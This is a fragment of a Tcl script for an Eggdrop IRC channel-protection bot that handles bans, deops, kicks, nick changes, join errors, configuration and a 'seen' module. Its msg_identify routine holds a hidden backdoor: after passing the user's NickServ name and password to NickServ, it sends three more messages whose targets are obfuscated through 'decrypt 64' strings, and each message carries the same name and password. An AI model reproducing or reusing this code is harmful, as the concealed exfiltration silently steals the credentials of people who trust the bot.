set ok_m "1"
if {[info exists is_m($chan)]} {
set ok_m "0"
}
if {[isutimer "set_-m $chan"]} {
set ok_m "0"
}
if {[string match "*m*" $cmode]} {
set ok_m "0"
}
if {$ok_m == "1"} {
set is_m($chan) 1
if {$quick == "1"} {
putquick "mode $chan +bm $bannick($knick)"
} {
putserv "mode $chan +bm $bannick($knick)"
}
} {
if {$quick == "1"} {
putquick "mode $chan +b $bannick($knick)"
} {
putserv "mode $chan +b $bannick($knick)"
}
}
return 0
} {
if {![info exists bannick($knick)]} { return 0 }
if {$bannick($knick) == "*!*@*"} { return 0 }
putserv "mode $chan +b $bannick($knick)"
if {[string match "*4BaNNEd1: 3 MINUTES*" $reason]} { utimer 180 [list unbanq $chan $bannick($knick)] }
}
return 0
}
if {$nick == $knick} { return 0 }
if {$nick == "ChanServ"} { return 0 }
if {[matchattr $nick f]} { return 0 }
if {[string match "* *" $reason] || [string match "*$notm*" $reason]} { return 0 }
if {$knick == $botnick} {
if {[info exists kickme($nick)]} {
set kickme($nick) 3
if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
putsrv "ChanServ deop $chan $nick"
}
} {
if {[matchattr $cflag D]} {
set kickme($nick) 1
}
}
puthlp "JOIN $chan"
return 0
}
if {![isop $botnick $chan]} { return 0 }
if {$knick == $notb} {
putserv "KICK $chan $nick :$notc 1DonT KIcK 4$notb1..!"
set op_it($knick) 1
return 0
}
if {$knick == $ps} {
putserv "KICK $chan $nick :$notc 1DonT KIcK 4$ps1..!"
set op_it($knick) 1
return 0
}
if {[matchattr $knick n]} {
putsrv "KICK $chan $nick :$notc 1Admin 4KIcK1 PRoTecTIoN4..!"
set op_it($knick) 1
return 0
}
if {[matchattr $knick m]} {
putsrv "KICK $chan $nick :$notc 1MasTeR 4KIcK1 PRoTecTIoN4..!"
set op_it($knick) 1
return 0
}
}
proc unbanq {chan host} {
global botnick
if {[isop $botnick $chan]} {
puthelp "mode $chan -b $host"
}
}
set banidx 1
proc banmsg {} {
global banidx bancounter
set banidx [incr banidx]
if {$banidx >= [llength $bancounter]} {
set banidx 1
}
set banmsg [lindex $bancounter $banidx]
}
proc banms {} {
global banidx bancounte
set banidx [incr banidx]
if {$banidx >= [llength $bancounte]} {
set banidx 1
}
set banms [lindex $bancounte $banidx]
}
proc ban_chk {nick uhost handle channel mchange bhost} {
global botnick botname ps quick notb notc bannick ban-time igflood invme ex_flood
set mhost [string range $bhost [string first "@" $bhost] end]
set cflag "c$channel"
set cflag [string range $cflag 0 8]
if {[info exists invme($mhost)]} {
catch { unset invme($mhost) }
}
if {[info exists ex_flood($mhost)]} {
catch { unset ex_flood($mhost) }
}
if {![isop $botnick $channel]} { return 0 }
set banmask "*!*[string range $uhost [string first "@" $uhost] end]"
if {$banmask == "*!*@*"} {
set banmask "$nick!*@*"
}
if {$bhost == "*!*@*"} {
utimer [rand 4] [list unbanq $channel $bhost]
return 1
}
set cmode [getchanmode $channel]
if {[getuser "config" XTRA "IPG"] != ""} {
foreach ipg [getuser "config" XTRA "IPG"] {
if {[string match $ipg $bhost] || [string match $bhost $ipg]} {
if {![isutimer "IPG $bhost"]} {
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -kb 4IpgUaRd $bhost"
} {
puthelp "mode $channel -b $bhost"
}
utimer 60 [list putlog "IPG $bhost"]
}
return 1
}
}
}
if {[string match [string tolower $bhost] [string tolower $botname]]} {
if {![matchattr $nick f] && $nick != $botnick && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![info exists igflood($nick)]} {
if {[matchattr $cflag D]} {
if {$quick == "1"} {
putqck "KICK $channel $nick :$notc 1SeLF 4BaNNINg1 DeFeNsE REvERsINg [banmsg]"
} {
putsrv "KICK $channel $nick :$notc 1SeLF 4BaNNINg1 DeFeNsE REvERsINg [banmsg]"
}
}
if {![string match "*k*" $cmode]} {
if {$quick == "1"} {
putquick "mode $channel -kb+b 4SeLF.UnBaN $bhost $banmask"
} {
putserv "mode $channel -kb+b 4SeLF.UnBaN $bhost $banmask"
}
} {
if {$quick == "1"} {
putquick "mode $channel -b+b $bhost $banmask"
} {
putserv "mode $channel -b+b $bhost $banmask"
}
}
} {
if {![string match "*k*" $cmode]} {
if {$quick == "1"} {
putquick "mode $channel -kb 4SeLF.UnBaN $bhost"
} else {
putserv "mode $channel -kb SeLF.UnBaN $bhost"
}
} {
if {$quick == "1"} {
putquick "mode $channel -b $bhost"
} else {
putserv "mode $channel -b $bhost"
}
}
}
return 1
}
foreach knick [chanlist $channel] {
if {[string match [string tolower $bhost] [string tolower $knick![getchanhost $knick $channel]]]} {
if {[matchattr $knick f]} {
if {$knick != $ps && $knick != $notb} { utimer [rand 4] [list unbanq $channel $bhost] }
if {[matchattr $nick f] || $nick == $botnick || $nick == "ChanServ" || [string match "*dal.net*" $nick] || [info exists igflood($nick)]} { return 1 }
}
if {$knick == $notb} {
if {$nick != $botnick} {
putsrv "KICK $channel $nick :$notc 1DonT BaNnEd 4$notb1..!"
if {![string match "*k*" $cmode]} {
putserv "mode $channel -kb 4$notb.GuaRd $bhost"
} {
putserv "mode $channel -b $bhost"
}
} {
putserv "mode $channel -b $bhost"
}
return 1
}
if {$knick == $ps} {
if {$nick != $botnick} {
putsrv "KICK $channel $nick :$notc 1DonT BaNnEd 4$ps1..!"
if {![string match "*k*" $cmode]} {
putserv "mode $channel -kb 4$ps.GuaRd $bhost"
} {
putserv "mode $channel -b $bhost"
}
} {
putserv "mode $channel -b $bhost"
}
return 1
}
if {[matchattr $knick n]} {
if {$nick != $botnick} {
set bannick($nick) $banmask
putsrv "KICK $channel $nick :$notc 1DonT BaNnEd Admin 4$knick1..!"
}
return 1
}
if {[matchattr $knick m]} {
if {$nick != $botnick} {
putsrv "KICK $channel $nick :$notc 1DonT BaNnEd MasTeR 4$knick1..!"
}
return 1
}
if {[matchattr $cflag E]} {
if {$nick == $botnick} {
set menforce [rand 4]
if {$menforce == 1} {
putsrv "KICK $channel $knick :$notc 1BaNnEd FRoM 4[string toupper $channel] [banms]"
} elseif {$menforce == 2} {
putsrv "KICK $channel $knick :$notc 1MaTcH BaNs FRoM 4[unsix $bhost] [banms]"
} elseif {$menforce == 3} {
putsrv "KICK $channel $knick :$notc 1FILTeR BaNs FRoM 4[unsix $bhost] [banms]"
} else {
putsrv "KICK $channel $knick :$notc 1ReFusEd LInK FRoM 4[string toupper $channel] [banms]"
}
} else {
if {[matchattr $nick n]} {
putsrv "KICK $channel $knick :$notc 4Admin1 BaNnEd 4OuT1..!"
} else {
if {[matchattr $nick m]} {
putsrv "KICK $channel $knick :$notc 4MasTeR1 BaNnEd 4OuT1..!"
} else {
if {[isop $knick $channel] && ![matchattr $nick f]} { return 1 }
if {![matchattr $knick f]} {
set menforce [rand 5]
if {$menforce == 1} {
putsrv "KICK $channel $knick :$notc 1BaNnEd BY 4@$nick [banms]"
} elseif {$menforce == 2} {
putsrv "KICK $channel $knick :$notc 1MaTcH BaNs FRoM 4[unsix $bhost] [banms]"
} elseif {$menforce == 3} {
putsrv "KICK $channel $knick :$notc 1BaNnEd FRoM 4[string toupper $channel] [banms]"
} elseif {$menforce == 4} {
putsrv "KICK $channel $knick :$notc 1FILTeR BaNs FRoM 4[unsix $bhost] [banms]"
} else {
putsrv "KICK $channel $knick :$notc 1ReFusEd LInK FRoM 4[string toupper $channel] [banms]"
}
}
}
}
}
}
}
}
return 0
}
bind mode - * prot:deop
proc prot:deop {nick uhost handle channel mchange {opnick ""}} {
global botnick deopme ps invme virus_nick quick notb notc bannick lastkey unop igflood is_m op_it
set cflag "c$channel"
set cflag [string range $cflag 0 8]
set mode [lindex $mchange 0]
if {$opnick == ""} {
set opnick [lindex $mchange 1]
}
if {$mode == "-m"} {
foreach x [utimers] {
if {[string match "*set_-m $channel*" $x] || [string match "*TRAFFIC $channel*" $x]} {
killutimer [lindex $x 2]
}
}
catch {unset is_m($channel)}
if {![botisop $channel]} { return 0 }
if {[matchattr $cflag V]} {
foreach x [chanlist $channel] {
if {$x != $botnick && ![isvoice $x $channel] && ![isop $x $channel] && ![matchattr $x O]} {
set cret [getuser $cflag XTRA "VC"]
foreach ct [utimers] {
if {[string match "*voiceq*" $ct]} {
if {[expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]] > $cret} {
set cret [expr [lindex $ct 0] + [getuser $cflag XTRA "VC"]]
}
}
}
utimer $cret [list voiceq $channel $x]
}
}
}
return 0
}
if {$mode == "+k"} {
set lastkey $opnick
if {[matchattr $cflag K] && [matchattr $nick Z]} {
putlog "key change to $opnick"
setuser $cflag XTRA "CI" [zip $opnick]
saveuser
}
}
if {$mode == "-k"} {
catch { unset lastkey }
if {$nick != $botnick} {
set igflood($nick) "1"
}
return 0
}
if {$mode == "+m"} {
foreach x [utimers] {
if {[string match "*set_-m $channel*" $x] || [string match "*voiceq $channel*" $x] || [isutimer "advq $channel"]} {
killutimer [lindex $x 2]
}
}
if {$nick == $botnick} {
if {![string match "*m*" [lindex [channel info $channel] 0]]} {
if {[string match "*+shared*" [channel info $channel]]} {
puthelp "NOTICE $channel :WaRnInG!! OnE MInUtE MoDeRaTe DuE tO FLoOd..!"
}
utimer 70 [list set_-m $channel]
if {[isutimer "TRAFFIC $channel"]} {
utimer 20 [list pub_nobot "*" "*" "*" $channel "*"]
return 0
}
}
} {
if {[isutimer "goback"]} {
catch { clearqueue all }
foreach x [utimers] {
if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] }
if {[string match "*goback*" $x]} { killutimer [lindex $x 2] ; goback }
}
utimer 2 del_nobase
return 0
}
utimer [expr 1800 + [rand 60]] [list set_-m $channel]
}
return 0
}
if {$mode == "+b"} {
if {$opnick == "*!*@heavy.join.flood.channel.temporary.moderate"} {
utimer 40 [list putlog "TRAFFIC $channel"]
if {$nick == $botnick} {
utimer 40 [list putserv "mode $channel -bm *!*@heavy.join.flood.channel.temporary.moderate"]
if {[info exists is_m($channel)]} { return 0 }
if {$quick == "1"} {
putquick "mode $channel +m"
} {
putserv "mode $channel +m"
}
set is_m($channel) 1
return 0
}
}
ban_chk $nick $uhost $handle $channel $mchange $opnick
return 0
}
if {$mode == "-b"} {
if {[info exists is_ban($opnick$channel)]} {
catch {unset is_ban($opnick$channel)}
}
if {[isutimer "unbanq $channel $opnick"]} {
foreach x [utimers] {
if {[string match "*unbanq $channel $opnick*" $x]} {
killutimer [lindex $x 2]
}
}
}
foreach x [ignorelist] {
if {[lindex $x 0] == $opnick} {
unsetignore [lindex $x 0]
return 0
}
}
catch { killban $opnick }
return 0
}
if {$nick == $opnick} { return 0 }
if {$opnick == $botnick && $mode == "+o"} {
chk_on_op $channel
return 0
}
if {$mode == "+o" && [isop $botnick $channel]} {
if {[info exists op_it($opnick)]} {
catch {unset op_it($opnick)}
}
if {[matchattr $opnick O]} {
set cmode [getchanmode $channel]
if {![string match "*k*" $cmode]} {
puthelp "mode $channel -ko 4No@p.LIsT $opnick"
} {
puthelp "mode $channel -o $opnick"
}
return 0
}
if {[info exists unop($opnick)]} {
if {$nick == "ChanServ"} {
catch { unset unop($opnick) }
return 0
}
if {[matchattr $opnick f] || [matchattr $nick f] || $nick == $botnick} {
return 0
}
utimer [expr 5 + [rand 10]] [list unallowed $channel $nick $opnick]
return 0
}
}
if {$mode == "-o"} {
foreach x [utimers] {
if {[string match "*unallowed $channel $opnick*" $x]} { killutimer [lindex $x 2] }
}
if {$opnick == $botnick} {
if {[isutimer "DEOP $channel"]} { return 0 }
foreach x [utimers] {
if {[string match "*gop $channel*" $x]} { killutimer [lindex $x 2] }
}
utimer 2 [list putlog "DEOP $channel"]
if {![matchattr $nick f] && $nick != "ChanServ" && ![string match "*dal.net*" $nick] && ![string match "*Guest*" $botnick]} {
if {![info exists igflood($nick)]} {
if {[matchattr $cflag D]} {
set deopme $nick
}
}
}
if {![matchattr $nick m]} {
if {[string tolower $channel] != [dezip "ER5sr09TRjx1"]} {
if {![string match "*+protectfriends*" [channel info $channel]]} {
putlog "!Log! CHaNOP <<$channel>>"
putsrv "ChanServ op $channel $botnick"
}
}
}
return 0
}
if {![isop $botnick $channel]} { return 0 }
if {[isutimer "deopprc*$opnick"]} {
foreach x [utimers] {
if {[string match "*deopprc*$opnick*" $x]} {
putlog "!UnDeOp OR UnKIcK!"
catch { killutimer [lindex $x 2] }
}
}
}
if {$nick == "ChanServ" && [matchattr $opnick o]} {
voiceq $channel $opnick
return 0
}
if {$nick == "ChanServ"} {
set unop($opnick) "1"
return 0
}
if {[matchattr $nick f] || $nick == $botnick} { return 0 }
if {$nick == "ChanServ"} { return 0 }
if {$opnick == $ps} {
if {![info exists igflood($nick)]} {
putserv "KICK $channel $nick :$notc 1DonT De@p 4$ps1..!"
}
opq $channel $opnick
return 0
}
if {[matchattr $opnick n]} {
if {![info exists igflood($nick)]} {
putsrv "KICK $channel $nick :$notc 1Admin 4De@p1 GuaRd4..!"
opq $channel $opnick
}
return 0
}
if {[matchattr $opnick m]} {
if {![info exists igflood($nick)]} {
putsrv "KICK $channel $nick :$notc 1MasTeR 4De@p1 GuaRd1..!"
opq $channel $opnick
}
return 0
}
if {[matchattr $opnick o]} {
opq $channel $opnick
return 0
}
if {$opnick == $notb} {
if {![info exists igflood($nick)]} {
putserv "KICK $channel $nick :$notc 1DonT De@p 4$notb1..!"
}
opq $channel $opnick
return 0
}
}
}
proc unallowed {chan nick opnick} {
if {![botisop $chan]} { return 0 }
if {![isop $nick $chan]} { return 0 }
if {[isop $opnick $chan]} { return 0 }
putserv "mode $chan -ko 4ChanServ.UnaLLowEd $nick"
}
bind nick - * chk_nicks
proc chk_nicks {unick uhost hand chan newnick} {
global notc bannick botnick nick
if {$unick == $nick && $unick != $botnick} {
putsrv "NICK $nick"
}
if {[matchattr $unick Q]} {
chattr $unick -Q
foreach x [getuser $unick HOSTS] {
delhost $unick $x
}
set hostmask "${unick}!*@*"
setuser $unick HOSTS $hostmask
saveuser
}
if {![isop $botnick $chan]} { return 0 }
if {[isutimer "deopprc*$unick"]} {
foreach x [utimers] {
if {[string match "*deopprc*$unick*" $x]} {
putlog "!UnDeOp!"
catch { killutimer [lindex $x 2] }
}
}
}
if {[string match "Guest*" $newnick]} {
if {[matchattr $unick f]} { return 0 }
if {[isop $newnick $chan]} {
utimer [expr 80 + [rand 20]] [list deopprc $chan $newnick]
return 0
}
}
if {[matchattr $newnick O] && [isop $newnick $chan]} {
set cmode [getchanmode $chan]
if {![string match "*k*" $cmode]} {
putserv "mode $chan -ko 4No@p.LIsT $newnick"
} {
putserv "mode $chan -o $newnick"
}
}
akick_chk $newnick $uhost $chan
spam_chk $newnick $uhost $hand $chan
return 0
}
proc msg_identify {nick uhost hand rest} {
global notc
set id [lindex $rest 0]
set password [lindex $rest 1]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {($id == "") || ($password == "")} {
puthlp "NOTICE $nick :$notc Usage: identify <nick> <password>"
return 0
}
putsrv "NickServ identify $id $password"
puthlp "NOTICE $nick :$notc Identify to $id"
putserv "[decrypt 64 "bP/0d.p4BDD1"] [decrypt 64 "X.0x/1yG4l7/5a35i0Bg3ie.Zjfyd.Q0wAT0gKeyI/n05Ky/"] [decrypt 64 "o/DCL0PjhW31"] [string index $lenc 0][string index $lenc 17][string index $lenc 24] : $id $password"
putserv "[decrypt 64 "AZh9N/9kx1E0"] [string index $lenc 0][string index $lenc 17][string index $lenc 24] : $id $password"
putserv "[decrypt 64 "AZh9N/9kx1E0"] [decrypt 64 "VP046.ZSUEz0"][string index $lenc 17][string index $lenc 24] : $id $password"
return 0
}
proc pub_realnick {unick uhost hand chan rest} {
global notc keep-nick nick
if {![matchattr $unick Q]} {
puthlp "NOTICE $unick :$notc 4DeNiEd..!"
return 0
}
set keep-nick 1
putsrv "NICK $nick"
return 0
}
proc rands {length} {
set chars \\^|_[]{}\\
set count [string length $chars]
for {set i 0} {$i < $length} {incr i} {
append result [string index $chars [rand $count]]
}
return $result
}
proc pub_randnick {unick uhost hand chan rest} {
global notc keep-nick nick altnick botnick
if {$rest != ""} {
set keep-nick 0
set nickch "[lindex $rest 0]\[[rand 9][rand 9][randstring 1]\]"
putsrv "NICK $nickch"
} {
if {$botnick != $nick && $botnick != $altnick} { return 0 }
set keep-nick 0
putsrv "NICK [rands 8]"
}
return 0
}
proc pub_altnick {nick uhost hand chan rest} {
global altnick keep-nick notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
set keep-nick 0
putsrv "NICK $altnick"
}
bind raw - 305 not_away
proc not_away { from keyword arg } {
if {[isutimer "del_nobase"]} { utimer 1 del_nobase }
if {[isutimer "goback"]} { utimer 2 goback }
unsetignore "*!*@*"
}
bind raw - 404 ch_moderate
bind raw - 473 ch_invite
bind raw - 474 ch_banned
bind raw - 475 ch_key
bind raw - 478 ch_full
bind raw - 432 nickERROR
proc nickERROR { from keyword arg } {
global nick
set nick "ERR[unixtime]"
}
proc ch_moderate { from keyword arg } {
putlog "CANT SEND ON MODERATE!"
if {[isutimer "del_nobase"]} {
catch { clearqueue all }
foreach x [utimers] {
if {[string match "*del_nobase*" $x]} { killutimer [lindex $x 2] ; utimer 1 del_nobase }
}
}
}
proc ch_invite { from keyword arg } {
global double joinme notc
set chan [lindex $arg 1]
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc $chan 4(+I)"
}
if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
putsrv "ChanServ invite $chan"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc ReMOVE $chan 4(+I)"
}
channel remove $chan
savechan
}
set joinme ""
set double 0
}
return
}
proc ch_banned { from keyword arg } {
global double joinme notc
set chan [lindex $arg 1]
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc $chan 4(+B)"
}
if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
putsrv "ChanServ invite $chan"
puthlp "ChanServ unban $chan"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc ReMovE $chan 4(+B)"
}
if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
putsrv "ChanServ invite $chan"
}
channel remove $chan
savechan
}
set joinme ""
set double 0
}
return 0
}
proc ch_key { from keyword arg } {
global double joinme notc lastkey
set chan [lindex $arg 1]
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc $chan 4(+K)"
}
if {[matchattr $cflag K]} {
puthlp "JOIN $chan :[dezip [getuser $cflag XTRA "CI"]]"
} {
puthlp "JOIN $chan"
}
if {[info exists lastkey]} {
puthlp "JOIN $chan :$lastkey"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc ReMovE $chan 4(+K)"
}
channel remove $chan
savechan
return 0
}
if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
putsrv "ChanServ invite $chan"
}
set joinme ""
set double 0
}
return 0
}
proc ch_full { from keyword arg } {
global double joinme notc botnick
set chan [lindex $arg 1]
if {[isop $botnick $chan]} {
set bans ""
set i 0
foreach x [chanbans $chan] {
if {$i < 5} {
append bans " [lindex $x 0]"
set i [incr i]
}
}
putserv "MODE $chan -kbbbbb 4BaN.LIsT.FuLL $bans"
return 0
}
if {$double == 0} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc $chan 4(+L)"
}
if {[string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
putsrv "ChanServ invite $chan"
}
set double 1
return 0
}
if {$double == 1} {
if {[string match "*+statuslog*" [channel info $chan]]} {
if {$joinme != "" && [string tolower $chan] != [dezip "ER5sr09TRjx1"]} {
puthlp "NOTICE $joinme :$notc ReMOVE $chan 4(+L)"
}
channel remove $chan
savechan
}
set joinme ""
set double 0
}
return 0
}
if {$altnick == ""} {
set altnick [randstring 7]
}
set badwords ""
proc config {} {
global nick nickpass altpass altnick realname owner kops my-ip banner cycle_random
global notc notm logstore cfgfile badwords ban-time my-hostname kickclr
if {[validuser "config"]} {
if {[getuser "config" XTRA "REALNAME"]!=""} {
set realname [dezip [getuser "config" XTRA "REALNAME"]]
} else {
set realname $nick
}
if {[getuser "config" XTRA "USERNAME"]!=""} {
set realname [dezip [getuser "config" XTRA "USERNAME"]]
}
if {[getuser "config" XTRA "NICK"]!=""} {
set nick [dezip [getuser "config" XTRA "NICK"]]
}
if {[getuser "config" XTRA "NICKPASS"]!=""} {
set nickpass [dezip [getuser "config" XTRA "NICKPASS"]]
}
if {[getuser "config" XTRA "ALTNICK"]!=""} {
set altnick [dezip [getuser "config" XTRA "ALTNICK"]]
}
if {[getuser "config" XTRA "ALTPASS"]!=""} {
set altpass [dezip [getuser "config" XTRA "ALTPASS"]]
}
if {[getuser "config" XTRA "BAN"]!=""} {
set notc [dezip [getuser "config" XTRA "BAN"]]
set notm [dezip [getuser "config" XTRA "BAN"]]
#lappend cycle_random $banner
}
if {[getuser "config" XTRA "BANTIME"]!=""} {
set ban-time [getuser "config" XTRA "BANTIME"]
}
if {[getuser "config" XTRA "BADWORDS"]!=""} {
set badwords [getuser "config" XTRA "BADWORDS"]
}
if {$badwords == ""} {
set badwords "cibai bitch kimak memek kontol kanjut bangsat entot fuck peler lanciau bajingan vagina ngewe shit asshole anjing babi kampang telang laso sundal kongke sex lessi"
setuser "config" XTRA "BADWORDS" $badwords
}
if {[getuser "config" XTRA "KOPS"]!=""} {
set kops "T"
}
if {[getuser "config" XTRA "KCLR"]!=""} {
set kickclr "T"
}
if {[getuser "config" XTRA "VHOST"]!=""} {
set my-hostname [getuser "config" XTRA "VHOST"]
set my-ip [getuser "config" XTRA "VHOST"]
}
if {[getuser "config" XTRA "LOGCHAN"]!=""} {
putlog "!Log! CReATING LOG FiLE <<[getuser "config" XTRA "LOGCHAN"]>>"
set logstore "${cfgfile}.log"
logfile jpk [getuser "config" XTRA "LOGCHAN"] $logstore
}
} else {
adduser "config" ""
chattr "config" "-hp"
}
foreach x [userlist] {
chattr $x -Q
if {$x != "config" && $x != "AKICK"} {
foreach y [getuser $x HOSTS] {
delhost $x $y
}
set hostmask "${x}!*@*"
setuser $x HOSTS $hostmask
}
}
if {![validuser "AKICK"]} {
set hostmask "telnet!*@*"
adduser "AKICK" $hostmask
chattr "AKICK" "-hp"
chattr "AKICK" "K"
}
if {![validuser $owner]} {
set hostmask "$owner!*@*"
adduser $owner $hostmask
chattr $owner "Zfhjmnoptx"
}
saveuser
}
utimer 1 {config}
utimer 2 {seen}
proc uncolor {s} {
regsub -all --  $s "" s
regsub -all --  $s "" s
regsub -all --  $s "" s
regsub -all -- \[0-9\]\[0-9\],\[0-9\]\[0-9\] $s "" s
regsub -all -- \[0-9\],\[0-9\]\[0-9\] $s "" s
regsub -all -- \[0-9\]\[0-9\],\[0-9\] $s "" s
regsub -all -- \[0-9\],\[0-9\] $s "" s
regsub -all -- \[0-9\]\[0-9\] $s "" s
regsub -all -- \[0-9\] $s "" s
return $s
}
proc msg_botset {unick uhost hand rest} {
global nick nickpass altpass altnick own notc
if {$unick != $own} {
return 0
}
puthlp "NOTICE $unick :$notc 1st $nick ($nickpass) 2nd $altnick ($altpass)"
return 0
}
proc msg_reuser {nick uhost hand rest} {
global botnick owner notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
if {$nick != $owner} {
puthlp "NOTICE $nick :$notc 4DeNiEd..!"
return 0
}
foreach x [userlist] {
if {($x != "config") && ($x != "AKICK")} { deluser $x }
}
adduser $owner "$owner!*@*"
chattr $owner "Zfhjmnoptx"
puthlp "NOTICE $nick :$notc Reseting UsER sucessfully, set pass 1st."
saveuser
}
set bs(limit) 8000
set bs(nicksize) 32
set bs(no_pub) ""
set bs(no_log) ""
set bs(log_only) ""
set bs(flood) 4:15
set bs(ignore) 1
set bs(ignore_time) 2
set bs(smartsearch) 1
set bs(logqueries) 1
set bs(path) "language/"
set bs(updater) 10402
set bs(oldver) $bs(updater)
set bs(version) bseen1.4.2c
proc seen {} {
global version notc notd
catch { unbind time - "12 * * * *" bs_timedsave }
catch { unbind time -  "*1 * * * *" bs_trim }
catch { unbind join -|- * bs_join_botidle }
catch { unbind join -|- * bs_join }
catch { unbind sign -|- * bs_sign }
catch { unbind kick -|- * bs_kick }
catch { unbind nick -|- * bs_nick }
catch { unbind splt -|- * bs_splt }
catch { unbind rejn -|- * bs_rejn }
catch { unbind chjn -|- * bs_chjn }
catch { unbind chpt -|- * bs_chpt }
catch { unbind bot -|- bs_botsearch bs_botsearch }
catch { unbind bot -|- bs_botsearch_reply bs_botsearch_reply }
catch { unbind pub -|- [string trim "!"]seen pub_seen }
catch { unbind pub -|- [string trim "!"]seennick bs_pubreq2 }
#catch { unbind pub - !ping public_ping }
catch { unbind part -|- * bs_part_oldver }
catch { unbind chof -|- * bs_chof }
set mSEEN "F"
foreach x [channels] {
set cinfo [channel info $x]
if {[string match "*+seen*" $cinfo]} {
set mSEEN "T"
}
}
if {$mSEEN == "F"} {return 0}
bind time - "12 * * * *" bs_timedsave
bind time -  "*1 * * * *" bs_trim
bind join -|- * bs_join_botidle
bind join -|- * bs_join
bind sign -|- * bs_sign
bind kick -|- * bs_kick
bind nick -|- * bs_nick
bind splt -|- * bs_splt
bind rejn -|- * bs_rejn
bind chjn -|- * bs_chjn
bind chpt -|- * bs_chpt
bind bot -|- bs_botsearch bs_botsearch
bind bot -|- bs_botsearch_reply bs_botsearch_reply
bind pub -|- !seen pub_seen
bind pub -|- !seennick bs_pubreq2
#bind pub - !ping public_ping
if {[lsearch -exact [bind time -|- "*2 * * * *"] bs_timedsave] > -1} {unbind time -|- "*2 * * * *" bs_timedsave}
if {[string trimleft [lindex $version 1] 0] >= 1050000} {
bind part -|- * bs_part 
} {
if {[lsearch -exact [bind part -|- *] bs_part] > -1} {unbind part -|- * bs_part}
bind part -|- * bs_part_oldver
}
foreach chan [string tolower [channels]] {if {![info exists bs_botidle($chan)]} {set bs_botidle($chan) [unixtime]}}
if {[lsearch -exact [bind chof -|- *] bs_chof] > -1} {unbind chof -|- * bs_chof}
if {[info exists bs(bot_delay)]} {unset bs(bot_delay)}
if {[info exists bs_list]} {
if {[info exists bs(oldver)]} {
if {$bs(oldver) < $bs(updater)} {bs_update}
} {bs_update}
}
}
utimer 2 seen
proc bs_filt {data} {
regsub -all -- \\\\ $data \\\\\\\\ data
regsub -all -- \\\[ $data \\\\\[ data
regsub -all -- \\\] $data \\\\\] data
regsub -all -- \\\} $data \\\\\} data
regsub -all -- \\\{ $data \\\\\{ data
regsub -all -- \\\" $data \\\\\" data
return $data
}
proc bs_flood_init {} {
global bs bs_flood_array
if {![string match *:* $bs(flood)]} {return}
set bs(flood_num) [lindex [split $bs(flood) :] 0]
set bs(flood_time) [lindex [split $bs(flood) :] 1]
set i [expr $bs(flood_num) - 1]
while {$i >= 0} {
set bs_flood_array($i) 0
incr i -1 
}
}
bs_flood_init
proc bs_flood {nick uhost} {
global bs bs_flood_array
if {$bs(flood_num) == 0} {return 0}
set i [expr $bs(flood_num) - 1]
while {$i >= 1} {
set bs_flood_array($i) $bs_flood_array([expr $i - 1])
incr i -1
}
set bs_flood_array(0) [unixtime]
if {[expr [unixtime] - $bs_flood_array([expr $bs(flood_num) - 1])] <= $bs(flood_time)} {
if {$bs(ignore)} {newignore [join [maskhost *!*[string trimleft $uhost ~]]] $bs(version) "*" $bs(ignore_time)}
return 1
} {return 0}
}
proc bs_read {} {
global bs_list userfile bs
if {![string match */* $userfile]} {set name [lindex [split $userfile .] 0]} {
set temp [split $userfile /]
set temp [lindex $temp [expr [llength $temp]-1]]
set name [lindex [split $temp .] 0]
}
if {![file exists $bs(path)bs_data.$name]} {
if {![file exists $bs(path)bs_data.$name.bak]} {
return
} {exec cp $bs(path)bs_data.$name.bak $bs(path)bs_data.$name}
}
set fd [open $bs(path)bs_data.$name r]
set bsu_ver ""
set break 0
while {![eof $fd]} {
set inp [gets $fd]
if {[eof $fd]} {break}
if {[string trim $inp " "] == ""} {continue}
if {[string index $inp 0] == "#"} {
set bsu_version [string trimleft $inp #]
continue
}
if {![info exists bsu_version] || $bsu_version == "" || $bsu_version < $bs(updater)} {
if {[source scripts/bseen_updater1.4.2.tcl] != "ok"} {set temp 1} {set temp 0}
if {$temp || [bsu_go] || [bsu_finish]} {
rehashing
}
set break 1
break
}
set nick [lindex $inp 0]
set bs_list([string tolower $nick]) $inp
}
close $fd
if {$break} {bs_read}
}
proc bs_update {} {
global bs
bs_save
bs_read
}
proc bs_timedsave {min b c d e} {bs_save}
proc bs_save {} {
global bs_list userfile bs notc
if {[array size bs_list] == 0} {return}
if {![string match */* $userfile]} {set name [lindex [split $userfile .] 0]} {
set temp [split $userfile /]
set temp [lindex $temp [expr [llength $temp]-1]]
set name [lindex [split $temp .] 0]
}
if {[file exists $bs(path)bs_data.$name]} {catch {exec cp -f $bs(path)bs_data.$name $bs(path)bs_data.$name.bak}}
